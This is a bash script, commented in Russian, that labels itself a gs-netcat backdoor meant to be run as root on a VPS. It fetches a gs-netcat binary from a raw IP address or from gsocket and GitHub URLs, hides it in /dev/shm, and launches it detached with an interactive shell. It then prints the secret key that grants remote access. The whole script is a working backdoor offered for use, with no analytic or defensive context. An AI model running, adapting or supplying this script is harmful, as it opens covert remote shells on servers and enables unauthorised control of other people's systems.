#!/bin/bash
# gs-netcat backdoor (fallback: no-root.sh отсутствовал на VPS)
# Запуск от root. Печатает GSNETCAT_SECRET=<ключ>.
S=$(head -c 48 /dev/urandom | base64 2>/dev/null | tr -dc 'A-Za-z0-9' | head -c 16)
[ ${#S} -ge 12 ] || S=$(cat /proc/sys/kernel/random/uuid 2>/dev/null | tr -dc 'a-f0-9' | head -c 16)
A=amd64
case "$(uname -m)" in
  aarch64|arm64) A=arm64 ;;
  i?86) A=386 ;;
esac
BIN=$(command -v gs-netcat 2>/dev/null)
if [ -z "$BIN" ] || ! command -v "$BIN" >/dev/null 2>&1; then
  if [ -x /dev/shm/gsn/gs-netcat ]; then
    BIN=/dev/shm/gsn/gs-netcat
  else
    mkdir -p /dev/shm/gsn && cd /dev/shm/gsn || exit 1
    for u in \
      "http://2.59.218.32/gs-netcat-$A" \
      "https://cloudflare.cdn.gsocket.io/gs-netcat_linux_$A" \
      "https://github.com/hackerschoice/gs-netcat/releases/download/v1.4.41/gs-netcat_linux_$A"; do
      curl -s -m 45 -o gs-netcat.bin "$u" 2>/dev/null
      [ -s gs-netcat.bin ] && break
      wget -q -T 45 -O gs-netcat.bin "$u" 2>/dev/null
      [ -s gs-netcat.bin ] && break
    done
    if [ ! -s gs-netcat.bin ]; then
      echo "GSNETCAT_FAIL=download"
      exit 1
    fi
    mv -f gs-netcat.bin gs-netcat && chmod +x gs-netcat
    BIN=/dev/shm/gsn/gs-netcat
  fi
fi
pkill -f "gs-netcat -s $S " 2>/dev/null
setsid nohup "$BIN" -s "$S" -d -i >/dev/null 2>&1 < /dev/null &
sleep 1
echo "GSNETCAT_SECRET=$S"
